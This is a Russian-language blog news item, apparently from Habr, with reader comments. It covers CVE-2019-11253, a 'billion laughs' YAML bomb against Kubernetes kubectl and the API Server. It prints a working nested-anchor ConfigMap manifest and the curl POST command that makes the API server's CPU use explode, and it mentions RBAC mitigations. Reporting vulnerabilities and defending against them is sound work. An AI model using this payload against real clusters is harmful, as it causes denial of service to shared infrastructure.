В issues проекта Kubernetes обсуждается потенциально опасная уязвимость в парсере YAML-документов kubectl (на стороне клиента) и API Server (на стороне сервера), которая может привести к разновидности DoS-атак под названием billion laughs.



Для уязвимости уже зарезервирован номер: CVE-2019-11253, — однако детали CVE всё ещё не опубликованы. Широкой общественности о проблеме стало известно в результате обсуждения «YAML-бомбы» для Kubernetes API на Stack Overflow.

В Kubernetes-объекте ConfigMap, когда он определяется форматом YAML, могут содержаться так называемые «отсылки» (references) к другим блокам (nodes) документа. Это специальная фича YAML, созданная для удобства: для возможности использовать идентичные фрагменты конфигураций и сокращения общего размера YAML-документов. Проблема сводится к тому, что references могут быть рекурсивными, в результате чего потребление CPU стремительно вырастает.

Обнаруженную уязвимость назвали «родственником» уже хорошо известной проблемы при парсинге формата XML, которую называют billion laughs (по той причине, что для её иллюстрации обычно используют множество строк, содержащих «lol») или же XML-бомбой.

Пример для воспроизведения CVE-2019-11253 на серверной стороне K8s (API Server):

  1. Создать такой манифест, сохранив как yaml_bomb.yml:

    apiVersion: v1
    data:
      a: &a ["web","web","web","web","web","web","web","web","web"]
      b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
      c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
      d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
      e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
      f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
      g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
      h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
      i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
    kind: ConfigMap
    metadata:
      name: yaml-bomb
      namespace: default
  2. Запустить kubectl proxy на кластере.
  3. Из директории с yaml_bomb.yml выполнить:

    curl -X POST http://127.0.0.1:8001/api/v1/namespaces/default/configmaps -H "Content-Type: application/yaml" --data-binary @yaml_bomb.yml
  4. У пользователя должны быть права на создание объектов ConfigMap (в пространстве имён default), чтобы всё случилось. Остаётся лишь наблюдать за потреблением процессора API-сервером кластера.

Для полного решения проблемы разработчики Kubernetes ожидают «фундаментального патча в библиотеке YAML».

Из наиболее очевидных общих рекомендаций для избежания последствий подобных уязвимостей — закрытие Kubernetes API для внешних пользователей и грамотная конфигурация RBAC-политик в кластере. Подробнее о них рассказывается, например, в этой свежей статье.

P.S.


Читайте также в нашем блоге:

Комментарии (4)


  1. aml
    01.10.2019 10:02

    Так yaml же вроде на клиенте парсится — можно свою собственную машину задосить. Почему это заслуживает целого поста? Может я чего-то упускаю?


    1. shurup Автор
      01.10.2019 10:12
      +2

      Проблема в том, что всё воспроизводится и на стороне сервера тоже (посему в начале написано, что kubectl и API Server, а не только kubectl). Но большое спасибо за комментарий: сейчас сделаю формулировки более явными и заменю пример в конце публикации.

      P.S. Это формат новости, а не полноценный пост ;-)


      1. shurup Автор
        01.10.2019 10:19
        +1

        Заменил пример на «серверный». А вот заодно и комментарий Joe Beda в тему:

        Just saw this — we should stop accepting yaml server side. Or have a «simple yaml» variant that gets rid of references.


  1. Slach
    01.10.2019 11:38

    А вот где кстати нормальные инструменты для грамотного конфигурирования RBAC?

    aquasec нормально ничего в kube-bench кроме общих рекомендаций не показывает
    вот k9s умеет более или менее показывать кишки для ролей, но в yaml виде

    но какой нибудь отчет типа «security matrix» не умеет строить ни один инструмент сейчас, насколько я знаю